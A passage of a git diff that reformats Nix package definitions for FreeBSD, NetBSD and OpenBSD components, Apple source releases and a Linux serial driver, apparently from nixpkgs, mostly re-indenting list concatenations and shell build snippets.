+        "/usr/bin/id"
+        "/bin/ps"
+        "/bin/cpuset"
+        "/usr/bin/stat"
+        "/bin/rm"
+        "/bin/chmod"
+        "/bin/cat"
+        "/bin/sync"
+        "/bin/sleep"
+        "/bin/date"
+      ];
+      scripts = [
+        "rc"
+        "rc.initdiskless"
+        "rc.shutdown"
+        "rc.subr"
+        "rc.suspend"
+        "rc.resume"
+      ];
+      scriptPaths = "$BSDSRCDIR/libexec/rc/{${lib.concatStringsSep "," scripts}}";
+    in
+    # set PATH correctly in scripts
     ''
-      substituteInPlace "$BSDSRCDIR/libexec/rc/Makefile" --replace-fail /etc $out/etc
-      substituteInPlace "$BSDSRCDIR/libexec/rc/rc.d/Makefile" \
-        --replace-fail /etc $services/etc \
-        --replace-fail /var $services/var
+      sed -E -i -e "s|PATH=.*|PATH=${rcDepsPath}|g" ${scriptPaths}
     ''
-    + (
-      let
-        bins = [
-          "/sbin/sysctl"
-          "/usr/bin/protect"
-          "/usr/bin/id"
-          "/bin/ps"
-          "/bin/cpuset"
-          "/usr/bin/stat"
-          "/bin/rm"
-          "/bin/chmod"
-          "/bin/cat"
-          "/bin/sync"
-          "/bin/sleep"
-          "/bin/date"
-        ];
-        scripts = [
-          "rc"
-          "rc.initdiskless"
-          "rc.shutdown"
-          "rc.subr"
-          "rc.suspend"
-          "rc.resume"
-        ];
-        scriptPaths = "$BSDSRCDIR/libexec/rc/{${lib.concatStringsSep "," scripts}}";
-      in
-      # set PATH correctly in scripts
-      ''
-        sed -E -i -e "s|PATH=.*|PATH=${rcDepsPath}|g" ${scriptPaths}
-      ''
-      # replace executable absolute filepaths with PATH lookups
-      + lib.concatMapStringsSep "\n" (fname: ''
-        sed -E -i -e "s|${fname}|${lib.last (lib.splitString "/" fname)}|g" \
-          ${scriptPaths}'') bins
-      + "\n"
-    );
+    # replace executable absolute filepaths with PATH lookups
+    + lib.concatMapStringsSep "\n" (fname: ''
+      sed -E -i -e "s|${fname}|${lib.last (lib.splitString "/" fname)}|g" \
+        ${scriptPaths}'') bins
+    + "\n"
+  );
 
   skipIncludesPhase = true;
 
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/rtld-elf.nix b/pkgs/os-specific/bsd/freebsd/pkgs/rtld-elf.nix
index 34bf582b86ed..27f90f4cf05c 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/rtld-elf.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/rtld-elf.nix
@@ -27,7 +27,8 @@ mkDerivation {
     "sys/kern"
     "sys/libkern"
     "sys/crypto"
-  ] ++ extraSrc;
+  ]
+  ++ extraSrc;
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/stand-efi.nix b/pkgs/os-specific/bsd/freebsd/pkgs/stand-efi.nix
index 1bb3926f2a23..85f45a5c7835 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/stand-efi.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/stand-efi.nix
@@ -32,7 +32,8 @@ mkDerivation {
     "MK_MAN=no"
     "MK_TESTS=no"
     "OBJCOPY=${lib.getBin buildPackages.binutils-unwrapped}/bin/${buildPackages.binutils-unwrapped.targetPrefix}objcopy"
-  ] ++ lib.optional (!stdenv.hostPlatform.isFreeBSD) "MK_WERROR=no";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isFreeBSD) "MK_WERROR=no";
 
   hardeningDisable = [ "stackprotector" ];
 
diff --git a/pkgs/os-specific/bsd/freebsd/pkgs/sys/package.nix b/pkgs/os-specific/bsd/freebsd/pkgs/sys/package.nix
index 7436ace0863d..b788d9a81eb5 100644
--- a/pkgs/os-specific/bsd/freebsd/pkgs/sys/package.nix
+++ b/pkgs/os-specific/bsd/freebsd/pkgs/sys/package.nix
@@ -45,36 +45,34 @@ let
       "sys"
       "include"
     ];
-    postPatch =
-      ''
-        for f in sys/conf/kmod.mk sys/contrib/dev/acpica/acpica_prep.sh; do
-          substituteInPlace "$f" --replace-warn 'xargs -J' 'xargs-j '
-        done
+    postPatch = ''
+      for f in sys/conf/kmod.mk sys/contrib/dev/acpica/acpica_prep.sh; do
+        substituteInPlace "$f" --replace-warn 'xargs -J' 'xargs-j '
+      done
 
-        for f in sys/conf/*.mk; do
-          substituteInPlace "$f" --replace-quiet 'KERN_DEBUGDIR}''${' 'KERN_DEBUGDIR_'
-        done
+      for f in sys/conf/*.mk; do
+        substituteInPlace "$f" --replace-quiet 'KERN_DEBUGDIR}''${' 'KERN_DEBUGDIR_'
+      done
 
-        sed -i sys/${hostArchBsd}/conf/${baseConfig} \
-          -e 's/WITH_CTF=1/WITH_CTF=0/' \
-          -e '/KDTRACE/d'
-      ''
-      + lib.optionalString (baseConfigFile != null) ''
-        cat ${baseConfigFile} >>sys/${hostArchBsd}/conf/${baseConfig}
-      '';
+      sed -i sys/${hostArchBsd}/conf/${baseConfig} \
+        -e 's/WITH_CTF=1/WITH_CTF=0/' \
+        -e '/KDTRACE/d'
+    ''
+    + lib.optionalString (baseConfigFile != null) ''
+      cat ${baseConfigFile} >>sys/${hostArchBsd}/conf/${baseConfig}
+    '';
   };
 
   # Kernel modules need this for kern.opts.mk
-  env =
-    {
-      MK_CTF = "no";
+  env = {
+    MK_CTF = "no";
+  }
+  // (lib.flip lib.mapAttrs' extraFlags (
+    name: value: {
+      name = "MK_${lib.toUpper name}";
+      value = if value then "yes" else "no";
     }
-    // (lib.flip lib.mapAttrs' extraFlags (
-      name: value: {
-        name = "MK_${lib.toUpper name}";
-        value = if value then "yes" else "no";
-      }
-    ));
+  ));
 in
 mkDerivation rec {
   pname = "sys";
diff --git a/pkgs/os-specific/bsd/netbsd/pkgs/compat/package.nix b/pkgs/os-specific/bsd/netbsd/pkgs/compat/package.nix
index f65f901f4904..e0be2bb0621c 100644
--- a/pkgs/os-specific/bsd/netbsd/pkgs/compat/package.nix
+++ b/pkgs/os-specific/bsd/netbsd/pkgs/compat/package.nix
@@ -38,15 +38,16 @@ mkDerivation (
       "build"
       "host"
     ];
-    configureFlags =
-      [ "--cache-file=config.cache" ]
-      ++ lib.optionals stdenv.hostPlatform.isMusl [
-        # We include this header in our musl package only for legacy
-        # compatibility, and compat works fine without it (and having it
-        # know about sys/cdefs.h breaks packages like glib when built
-        # statically).
-        "ac_cv_header_sys_cdefs_h=no"
-      ];
+    configureFlags = [
+      "--cache-file=config.cache"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isMusl [
+      # We include this header in our musl package only for legacy
+      # compatibility, and compat works fine without it (and having it
+      # know about sys/cdefs.h breaks packages like glib when built
+      # statically).
+      "ac_cv_header_sys_cdefs_h=no"
+    ];
 
     nativeBuildInputs = commonDeps ++ [
       bsdSetupHook
@@ -92,43 +93,42 @@ mkDerivation (
       makeFlagsArray+=('INSTALL_SYMLINK=''${INSTALL} ''${SYMLINK} ''${RENAME}')
     '';
 
-    postInstall =
-      ''
-        # why aren't these installed by netbsd?
-        install -D compat_defs.h $dev/include/compat_defs.h
-        install -D $BSDSRCDIR/include/cdbw.h $dev/include/cdbw.h
-        install -D $BSDSRCDIR/sys/sys/cdbr.h $dev/include/cdbr.h
-        install -D $BSDSRCDIR/sys/sys/featuretest.h \
-                   $dev/include/sys/featuretest.h
-        install -D $BSDSRCDIR/sys/sys/md5.h $dev/include/md5.h
-        install -D $BSDSRCDIR/sys/sys/rmd160.h $dev/include/rmd160.h
-        install -D $BSDSRCDIR/sys/sys/sha1.h $dev/include/sha1.h
-        install -D $BSDSRCDIR/sys/sys/sha2.h $dev/include/sha2.h
-        install -D $BSDSRCDIR/sys/sys/queue.h $dev/include/sys/queue.h
-        install -D $BSDSRCDIR/include/vis.h $dev/include/vis.h
-        install -D $BSDSRCDIR/include/db.h $dev/include/db.h
-        install -D $BSDSRCDIR/include/netconfig.h $dev/include/netconfig.h
-        install -D $BSDSRCDIR/include/utmpx.h $dev/include/utmpx.h
-        install -D $BSDSRCDIR/include/tzfile.h $dev/include/tzfile.h
-        install -D $BSDSRCDIR/sys/sys/tree.h $dev/include/sys/tree.h
-        install -D $BSDSRCDIR/include/nl_types.h $dev/include/nl_types.h
-        install -D $BSDSRCDIR/include/stringlist.h $dev/include/stringlist.h
+    postInstall = ''
+      # why aren't these installed by netbsd?
+      install -D compat_defs.h $dev/include/compat_defs.h
+      install -D $BSDSRCDIR/include/cdbw.h $dev/include/cdbw.h
+      install -D $BSDSRCDIR/sys/sys/cdbr.h $dev/include/cdbr.h
+      install -D $BSDSRCDIR/sys/sys/featuretest.h \
+                 $dev/include/sys/featuretest.h
+      install -D $BSDSRCDIR/sys/sys/md5.h $dev/include/md5.h
+      install -D $BSDSRCDIR/sys/sys/rmd160.h $dev/include/rmd160.h
+      install -D $BSDSRCDIR/sys/sys/sha1.h $dev/include/sha1.h
+      install -D $BSDSRCDIR/sys/sys/sha2.h $dev/include/sha2.h
+      install -D $BSDSRCDIR/sys/sys/queue.h $dev/include/sys/queue.h
+      install -D $BSDSRCDIR/include/vis.h $dev/include/vis.h
+      install -D $BSDSRCDIR/include/db.h $dev/include/db.h
+      install -D $BSDSRCDIR/include/netconfig.h $dev/include/netconfig.h
+      install -D $BSDSRCDIR/include/utmpx.h $dev/include/utmpx.h
+      install -D $BSDSRCDIR/include/tzfile.h $dev/include/tzfile.h
+      install -D $BSDSRCDIR/sys/sys/tree.h $dev/include/sys/tree.h
+      install -D $BSDSRCDIR/include/nl_types.h $dev/include/nl_types.h
+      install -D $BSDSRCDIR/include/stringlist.h $dev/include/stringlist.h
 
-        # Collapse includes slightly to fix dangling reference
-        install -D $BSDSRCDIR/common/include/rpc/types.h $dev/include/rpc/types.h
-        sed -i '1s;^;#include "nbtool_config.h"\n;' $dev/include/rpc/types.h
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        mkdir -p $dev/include/ssp
-        touch $dev/include/ssp/ssp.h
-      ''
-      + ''
-        mkdir -p $dev/lib/pkgconfig
-        substitute ${./libbsd-overlay.pc} $dev/lib/pkgconfig/libbsd-overlay.pc \
-          --subst-var-by out "$out" \
-          --subst-var-by includedir "$dev/include" \
-          --subst-var-by version ${version}
-      '';
+      # Collapse includes slightly to fix dangling reference
+      install -D $BSDSRCDIR/common/include/rpc/types.h $dev/include/rpc/types.h
+      sed -i '1s;^;#include "nbtool_config.h"\n;' $dev/include/rpc/types.h
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      mkdir -p $dev/include/ssp
+      touch $dev/include/ssp/ssp.h
+    ''
+    + ''
+      mkdir -p $dev/lib/pkgconfig
+      substitute ${./libbsd-overlay.pc} $dev/lib/pkgconfig/libbsd-overlay.pc \
+        --subst-var-by out "$out" \
+        --subst-var-by includedir "$dev/include" \
+        --subst-var-by version ${version}
+    '';
     extraPaths = [
       "common"
       "include"
diff --git a/pkgs/os-specific/bsd/netbsd/pkgs/make-rules.nix b/pkgs/os-specific/bsd/netbsd/pkgs/make-rules.nix
index e16027b535fc..e468dbbdaaa1 100644
--- a/pkgs/os-specific/bsd/netbsd/pkgs/make-rules.nix
+++ b/pkgs/os-specific/bsd/netbsd/pkgs/make-rules.nix
@@ -18,51 +18,50 @@ mkDerivation {
 
   dontBuild = true;
 
-  postPatch =
-    ''
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.doc.mk \
-        --replace '-o ''${DOCOWN}' "" \
-        --replace '-g ''${DOCGRP}' ""
-      for mk in $BSDSRCDIR/share/mk/bsd.inc.mk $BSDSRCDIR/share/mk/bsd.kinc.mk; do
-        substituteInPlace $mk \
-          --replace '-o ''${BINOWN}' "" \
-          --replace '-g ''${BINGRP}' ""
-      done
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.kmodule.mk \
-        --replace '-o ''${KMODULEOWN}' "" \
-        --replace '-g ''${KMODULEGRP}' ""
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.lib.mk \
-        --replace '-o ''${LIBOWN}' "" \
-        --replace '-g ''${LIBGRP}' "" \
-        --replace '-o ''${DEBUGOWN}' "" \
-        --replace '-g ''${DEBUGGRP}' ""
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.lua.mk \
-        --replace '-o ''${LIBOWN}' "" \
-        --replace '-g ''${LIBGRP}' ""
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.man.mk \
-        --replace '-o ''${MANOWN}' "" \
-        --replace '-g ''${MANGRP}' ""
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.nls.mk \
-        --replace '-o ''${NLSOWN}' "" \
-        --replace '-g ''${NLSGRP}' ""
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.prog.mk \
+  postPatch = ''
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.doc.mk \
+      --replace '-o ''${DOCOWN}' "" \
+      --replace '-g ''${DOCGRP}' ""
+    for mk in $BSDSRCDIR/share/mk/bsd.inc.mk $BSDSRCDIR/share/mk/bsd.kinc.mk; do
+      substituteInPlace $mk \
         --replace '-o ''${BINOWN}' "" \
-        --replace '-g ''${BINGRP}' "" \
-        --replace '-o ''${RUMPBINOWN}' "" \
-        --replace '-g ''${RUMPBINGRP}' "" \
-        --replace '-o ''${DEBUGOWN}' "" \
-        --replace '-g ''${DEBUGGRP}' ""
+        --replace '-g ''${BINGRP}' ""
+    done
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.kmodule.mk \
+      --replace '-o ''${KMODULEOWN}' "" \
+      --replace '-g ''${KMODULEGRP}' ""
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.lib.mk \
+      --replace '-o ''${LIBOWN}' "" \
+      --replace '-g ''${LIBGRP}' "" \
+      --replace '-o ''${DEBUGOWN}' "" \
+      --replace '-g ''${DEBUGGRP}' ""
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.lua.mk \
+      --replace '-o ''${LIBOWN}' "" \
+      --replace '-g ''${LIBGRP}' ""
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.man.mk \
+      --replace '-o ''${MANOWN}' "" \
+      --replace '-g ''${MANGRP}' ""
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.nls.mk \
+      --replace '-o ''${NLSOWN}' "" \
+      --replace '-g ''${NLSGRP}' ""
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.prog.mk \
+      --replace '-o ''${BINOWN}' "" \
+      --replace '-g ''${BINGRP}' "" \
+      --replace '-o ''${RUMPBINOWN}' "" \
+      --replace '-g ''${RUMPBINGRP}' "" \
+      --replace '-o ''${DEBUGOWN}' "" \
+      --replace '-g ''${DEBUGGRP}' ""
 
-       substituteInPlace $BSDSRCDIR/share/mk/bsd.lib.mk \
-         --replace '_INSTRANLIB=''${empty(PRESERVE):?-a "''${RANLIB} -t":}' '_INSTRANLIB='
-       substituteInPlace $BSDSRCDIR/share/mk/bsd.kinc.mk \
-         --replace /bin/rm rm
-    ''
-    + lib.optionalString stdenv.targetPlatform.isDarwin ''
-      substituteInPlace $BSDSRCDIR/share/mk/bsd.sys.mk \
-        --replace '-Wl,--fatal-warnings' "" \
-        --replace '-Wl,--warn-shared-textrel' ""
-    '';
+     substituteInPlace $BSDSRCDIR/share/mk/bsd.lib.mk \
+       --replace '_INSTRANLIB=''${empty(PRESERVE):?-a "''${RANLIB} -t":}' '_INSTRANLIB='
+     substituteInPlace $BSDSRCDIR/share/mk/bsd.kinc.mk \
+       --replace /bin/rm rm
+  ''
+  + lib.optionalString stdenv.targetPlatform.isDarwin ''
+    substituteInPlace $BSDSRCDIR/share/mk/bsd.sys.mk \
+      --replace '-Wl,--fatal-warnings' "" \
+      --replace '-Wl,--warn-shared-textrel' ""
+  '';
 
   installPhase = ''
     cp -r . $out
diff --git a/pkgs/os-specific/bsd/netbsd/pkgs/make.nix b/pkgs/os-specific/bsd/netbsd/pkgs/make.nix
index 4cbb488dc3c6..266afa36ad72 100644
--- a/pkgs/os-specific/bsd/netbsd/pkgs/make.nix
+++ b/pkgs/os-specific/bsd/netbsd/pkgs/make.nix
@@ -3,12 +3,10 @@
 mkDerivation {
   path = "usr.bin/make";
 
-  postPatch =
-    make-rules.postPatch
-    + ''
-      # make needs this to pick up our sys make files
-      appendToVar NIX_CFLAGS_COMPILE "-D_PATH_DEFSYSPATH=\"$out/share/mk\""
-    '';
+  postPatch = make-rules.postPatch + ''
+    # make needs this to pick up our sys make files
+    appendToVar NIX_CFLAGS_COMPILE "-D_PATH_DEFSYSPATH=\"$out/share/mk\""
+  '';
 
   postInstall = ''
     make -C $BSDSRCDIR/share/mk FILESDIR=$out/share/mk install
diff --git a/pkgs/os-specific/bsd/netbsd/pkgs/sys/base.nix b/pkgs/os-specific/bsd/netbsd/pkgs/sys/base.nix
index 116aa46e7350..8852075d14fd 100644
--- a/pkgs/os-specific/bsd/netbsd/pkgs/sys/base.nix
+++ b/pkgs/os-specific/bsd/netbsd/pkgs/sys/base.nix
@@ -32,14 +32,13 @@
     ./sys-headers-incsdir.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace sys/arch/i386/stand/efiboot/Makefile.efiboot \
-        --replace "-nocombreloc" "-z nocombreloc"
-    ''
-    +
-      # multiple header dirs, see above
-      include.postPatch;
+  postPatch = ''
+    substituteInPlace sys/arch/i386/stand/efiboot/Makefile.efiboot \
+      --replace "-nocombreloc" "-z nocombreloc"
+  ''
+  +
+    # multiple header dirs, see above
+    include.postPatch;
 
   CONFIG = "GENERIC";
 
@@ -57,14 +56,13 @@
     genassym
   ];
 
-  postConfigure =
-    ''
-      pushd arch/$MACHINE/conf
-      config $CONFIG
-      popd
-    ''
-    # multiple header dirs, see above
-    + include.postConfigure;
+  postConfigure = ''
+    pushd arch/$MACHINE/conf
+    config $CONFIG
+    popd
+  ''
+  # multiple header dirs, see above
+  + include.postConfigure;
 
   makeFlags = defaultMakeFlags ++ [ "FIRMWAREDIR=$(out)/libdata/firmware" ];
   hardeningDisable = [ "pic" ];
diff --git a/pkgs/os-specific/bsd/openbsd/pkgs/mkDerivation.nix b/pkgs/os-specific/bsd/openbsd/pkgs/mkDerivation.nix
index e5a5d71ee517..7ef016e6f9f9 100644
--- a/pkgs/os-specific/bsd/openbsd/pkgs/mkDerivation.nix
+++ b/pkgs/os-specific/bsd/openbsd/pkgs/mkDerivation.nix
@@ -72,7 +72,8 @@ lib.makeOverridable (
         install
         tsort
         lorder
-      ] ++ (attrs.extraNativeBuildInputs or [ ]);
+      ]
+      ++ (attrs.extraNativeBuildInputs or [ ]);
 
       HOST_SH = stdenv'.shell;
 
diff --git a/pkgs/os-specific/bsd/openbsd/pkgs/sys/package.nix b/pkgs/os-specific/bsd/openbsd/pkgs/sys/package.nix
index ba91ab9230b2..f26545493c02 100644
--- a/pkgs/os-specific/bsd/openbsd/pkgs/sys/package.nix
+++ b/pkgs/os-specific/bsd/openbsd/pkgs/sys/package.nix
@@ -61,12 +61,12 @@
         ln -s ${pkgsBuildTarget.binutils}/bin/${pkgsBuildTarget.binutils.targetPrefix}ld $TMP/bin/ld
       ''
       +
-        # The Makefile claims it needs includes, but it really doesn't.
-        # Tell it includes aren't real and can't hurt it.
-        ''
-          cd compile/${baseConfig}/obj
-          echo 'includes:' >>Makefile
-        '';
+      # The Makefile claims it needs includes, but it really doesn't.
+      # Tell it includes aren't real and can't hurt it.
+      ''
+        cd compile/${baseConfig}/obj
+        echo 'includes:' >>Makefile
+      '';
 
     # stand is in a separate package
     env.SKIPDIR = "stand";
diff --git a/pkgs/os-specific/darwin/apple-source-releases/ICU/package.nix b/pkgs/os-specific/darwin/apple-source-releases/ICU/package.nix
index 6fe6e487b158..7dd0850554b2 100644
--- a/pkgs/os-specific/darwin/apple-source-releases/ICU/package.nix
+++ b/pkgs/os-specific/darwin/apple-source-releases/ICU/package.nix
@@ -37,21 +37,20 @@ let
 
     dontDisableStatic = withStatic;
 
-    configureFlags =
-      [
-        (lib.enableFeature false "debug")
-        (lib.enableFeature false "renaming")
-        (lib.enableFeature false "extras")
-        (lib.enableFeature false "layout")
-        (lib.enableFeature false "samples")
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isFreeBSD || stdenv.hostPlatform.isDarwin) [
-        (lib.enableFeature true "rpath")
-      ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-        (lib.withFeatureAs true "cross-build" nativeBuildRoot)
-      ]
-      ++ lib.optionals withStatic [ (lib.enableFeature true "static") ];
+    configureFlags = [
+      (lib.enableFeature false "debug")
+      (lib.enableFeature false "renaming")
+      (lib.enableFeature false "extras")
+      (lib.enableFeature false "layout")
+      (lib.enableFeature false "samples")
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isFreeBSD || stdenv.hostPlatform.isDarwin) [
+      (lib.enableFeature true "rpath")
+    ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+      (lib.withFeatureAs true "cross-build" nativeBuildRoot)
+    ]
+    ++ lib.optionals withStatic [ (lib.enableFeature true "static") ];
 
     nativeBuildInputs = [ python3 ];
 
@@ -83,7 +82,8 @@ let
     outputs = [
       "out"
       "dev"
-    ] ++ lib.optional withStatic "static";
+    ]
+    ++ lib.optional withStatic "static";
     outputBin = "dev";
 
     postPatch = lib.optionalString self.finalPackage.doCheck ''
@@ -182,19 +182,17 @@ let
   buildRootOnlyAttrs = self: super: {
     pname = "ICU-build-root";
 
-    preConfigure =
-      super.preConfigure
-      + ''
-        mkdir build
-        cd build
-        configureScript=../configure
+    preConfigure = super.preConfigure + ''
+      mkdir build
+      cd build
+      configureScript=../configure
 
-        # Apple’s customizations require building and linking additional files, which are handled via `Makefile.local`.
-        # These need copied into the build environment to avoid link errors from not building them.
-        mkdir common i18n
-        cp ../common/Makefile.local common/Makefile.local
-        cp ../i18n/Makefile.local i18n/Makefile.local
-      '';
+      # Apple’s customizations require building and linking additional files, which are handled via `Makefile.local`.
+      # These need copied into the build environment to avoid link errors from not building them.
+      mkdir common i18n
+      cp ../common/Makefile.local common/Makefile.local
+      cp ../i18n/Makefile.local i18n/Makefile.local
+    '';
 
     postBuild = ''
       cd ..
diff --git a/pkgs/os-specific/darwin/apple-source-releases/libiconv/package.nix b/pkgs/os-specific/darwin/apple-source-releases/libiconv/package.nix
index 52cb03245a0e..be9b1e32d6d3 100644
--- a/pkgs/os-specific/darwin/apple-source-releases/libiconv/package.nix
+++ b/pkgs/os-specific/darwin/apple-source-releases/libiconv/package.nix
@@ -30,21 +30,20 @@ mkAppleDerivation (finalAttrs: {
   # Propagate `out` only when there are dylibs to link (i.e., don’t propagate when doing a static build).
   propagatedBuildOutputs = lib.optionalString (!hostPlatform.isStatic) "out";
 
-  postPatch =
-    ''
-      # Work around unnecessary private API usage in libcharset.
-      mkdir -p libcharset/os && cat <<EOF > libcharset/os/variant_private.h
-        #pragma once
-        #include <stdbool.h>
-        static inline bool os_variant_has_internal_content(const char*) { return false; }
-      EOF
+  postPatch = ''
+    # Work around unnecessary private API usage in libcharset.
+    mkdir -p libcharset/os && cat <<EOF > libcharset/os/variant_private.h
+      #pragma once
+      #include <stdbool.h>
+      static inline bool os_variant_has_internal_content(const char*) { return false; }
+    EOF
 
-      # Add additional test cases found while working on packaging libiconv in nixpkgs.
-      cp ${./nixpkgs_test.c} tests/libiconv/nixpkgs_test.c
-    ''
-    + lib.optionalString hostPlatform.isStatic ''
-      cp ${./static-modules.gperf} static-modules.gperf
-    '';
+    # Add additional test cases found while working on packaging libiconv in nixpkgs.
+    cp ${./nixpkgs_test.c} tests/libiconv/nixpkgs_test.c
+  ''
+  + lib.optionalString hostPlatform.isStatic ''
+    cp ${./static-modules.gperf} static-modules.gperf
+  '';
 
   # Dynamic builds use `dlopen` to load modules, but static builds have to link them all.
   # `gperf` is used to generate a lookup table from module to ops functions.
@@ -87,7 +86,8 @@ mkAppleDerivation (finalAttrs: {
     license = [
       lib.licenses.bsd2
       lib.licenses.bsd3
-    ] ++ lib.optional finalAttrs.finalPackage.doInstallCheck lib.licenses.apple-psl10;
+    ]
+    ++ lib.optional finalAttrs.finalPackage.doInstallCheck lib.licenses.apple-psl10;
     mainProgram = "iconv";
   };
 })
diff --git a/pkgs/os-specific/darwin/apple-source-releases/libpcap/package.nix b/pkgs/os-specific/darwin/apple-source-releases/libpcap/package.nix
index aba3fc53a4f7..2fbff68ebfbe 100644
--- a/pkgs/os-specific/darwin/apple-source-releases/libpcap/package.nix
+++ b/pkgs/os-specific/darwin/apple-source-releases/libpcap/package.nix
@@ -78,7 +78,8 @@ mkAppleDerivation {
   configureFlags = [
     (lib.withFeatureAs true "pcap" (if stdenv.hostPlatform.isLinux then "linux" else "bpf"))
     (lib.enableFeature withRemote "remote")
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ (lib.enableFeature false "universal") ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ (lib.enableFeature false "universal") ];
 
   preConfigure = ''
     cd libpcap
@@ -89,7 +90,8 @@ mkAppleDerivation {
   nativeBuildInputs = [
     bison
     flex
-  ] ++ lib.optionals withBluez [ bluez.dev ];
+  ]
+  ++ lib.optionals withBluez [ bluez.dev ];
 
   meta = {
     description = "Packet Capture Library (with Apple modifications)";
diff --git a/pkgs/os-specific/darwin/apple-source-releases/mkAppleDerivation.nix b/pkgs/os-specific/darwin/apple-source-releases/mkAppleDerivation.nix
index d53da980b648..d42357f6b245 100644
--- a/pkgs/os-specific/darwin/apple-source-releases/mkAppleDerivation.nix
+++ b/pkgs/os-specific/darwin/apple-source-releases/mkAppleDerivation.nix
@@ -61,7 +61,8 @@ lib.makeOverridable (
           license = lib.licenses.apple-psl20;
           teams = [ lib.teams.darwin ];
           platforms = lib.platforms.darwin;
-        } // super.meta or { };
+        }
+        // super.meta or { };
       }
       // lib.optionalAttrs (super ? xcodeHash) {
         postUnpack =
diff --git a/pkgs/os-specific/darwin/apple-source-releases/text_cmds/package.nix b/pkgs/os-specific/darwin/apple-source-releases/text_cmds/package.nix
index 95867cad1186..b640edb096b8 100644
--- a/pkgs/os-specific/darwin/apple-source-releases/text_cmds/package.nix
+++ b/pkgs/os-specific/darwin/apple-source-releases/text_cmds/package.nix
@@ -49,31 +49,30 @@ mkAppleDerivation {
 
   xcodeHash = "sha256-dZ+yJyfflhmUyx3gitRXC115QxS87SGC4/HjMa199Ts=";
 
-  postPatch =
-    ''
-      # Improve compatiblity with libmd in nixpkgs.
-      substituteInPlace md5/md5.c \
-        --replace-fail '<sha224.h>' '<sha2.h>' \
-        --replace-fail SHA224_Init SHA224Init \
-        --replace-fail SHA224_Update SHA224Update \
-        --replace-fail SHA224_End SHA224End \
-        --replace-fail SHA224_Data SHA224Data \
-        --replace-fail SHA224_CTX SHA2_CTX \
-        --replace-fail '<sha384.h>' '<sha512.h>' \
-        --replace-fail 'const void *, unsigned int, char *' 'const uint8_t *, size_t, char *'
-    ''
-    + lib.optionalString (lib.versionOlder (lib.getVersion apple-sdk) "13.0") ''
-      # Backport vis APIs from the 13.3 SDK (needed by vis).
-      cp '${Libc_13}/gen/FreeBSD/vis.c' vis/vis-libc.c
-      # Backport errx APIs from the 13.3 SDK (needed by lots of things).
-      mkdir sys
-      cp '${Libc_13}/gen/FreeBSD/err.c' err-libc.c
-      cp '${Libc_13}/include/err.h' err.h
-      cp '${Libc_13}/fbsdcompat/sys/cdefs.h' sys/cdefs.h
-      substituteInPlace err.h \
-        --replace-fail '__cold' ""
-      touch namespace.h un-namespace.h libc_private.h
-    '';
+  postPatch = ''
+    # Improve compatiblity with libmd in nixpkgs.
+    substituteInPlace md5/md5.c \
+      --replace-fail '<sha224.h>' '<sha2.h>' \
+      --replace-fail SHA224_Init SHA224Init \
+      --replace-fail SHA224_Update SHA224Update \
+      --replace-fail SHA224_End SHA224End \
+      --replace-fail SHA224_Data SHA224Data \
+      --replace-fail SHA224_CTX SHA2_CTX \
+      --replace-fail '<sha384.h>' '<sha512.h>' \
+      --replace-fail 'const void *, unsigned int, char *' 'const uint8_t *, size_t, char *'
+  ''
+  + lib.optionalString (lib.versionOlder (lib.getVersion apple-sdk) "13.0") ''
+    # Backport vis APIs from the 13.3 SDK (needed by vis).
+    cp '${Libc_13}/gen/FreeBSD/vis.c' vis/vis-libc.c
+    # Backport errx APIs from the 13.3 SDK (needed by lots of things).
+    mkdir sys
+    cp '${Libc_13}/gen/FreeBSD/err.c' err-libc.c
+    cp '${Libc_13}/include/err.h' err.h
+    cp '${Libc_13}/fbsdcompat/sys/cdefs.h' sys/cdefs.h
+    substituteInPlace err.h \
+      --replace-fail '__cold' ""
+    touch namespace.h un-namespace.h libc_private.h
+  '';
 
   env.NIX_CFLAGS_COMPILE = "-I${privateHeaders}/include";
 
diff --git a/pkgs/os-specific/linux/ax99100/default.nix b/pkgs/os-specific/linux/ax99100/default.nix
index 3641fc59b4e8..e4f9a2accc50 100644
--- a/pkgs/os-specific/linux/ax99100/default.nix
+++ b/pkgs/os-specific/linux/ax99100/default.nix
@@ -14,7 +14,8 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     dos2unix
     kmod
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   src = fetchzip {
     url = "https://www.asix.com.tw/en/support/download/file/1229";
@@ -33,15 +34,14 @@ stdenv.mkDerivation {
   # We included them here instead of fetching them, because of line
   # ending issues that are easier to fix manually. Also the
   # set_termios patch needs to be applied for 6.1 not for 6.0.
-  patches =
-    [
-      ./kernel-5.18-pci_free_consistent-pci_alloc_consistent.patch
-      ./kernel-6.1-set_termios-const-ktermios.patch
-    ]
-    ++ lib.optionals (lib.versionAtLeast kernel.version "6.2") [
-      ./kernel-6.2-fix-pointer-type.patch
-      ./kernel-6.4-fix-define-semaphore.patch
-    ];
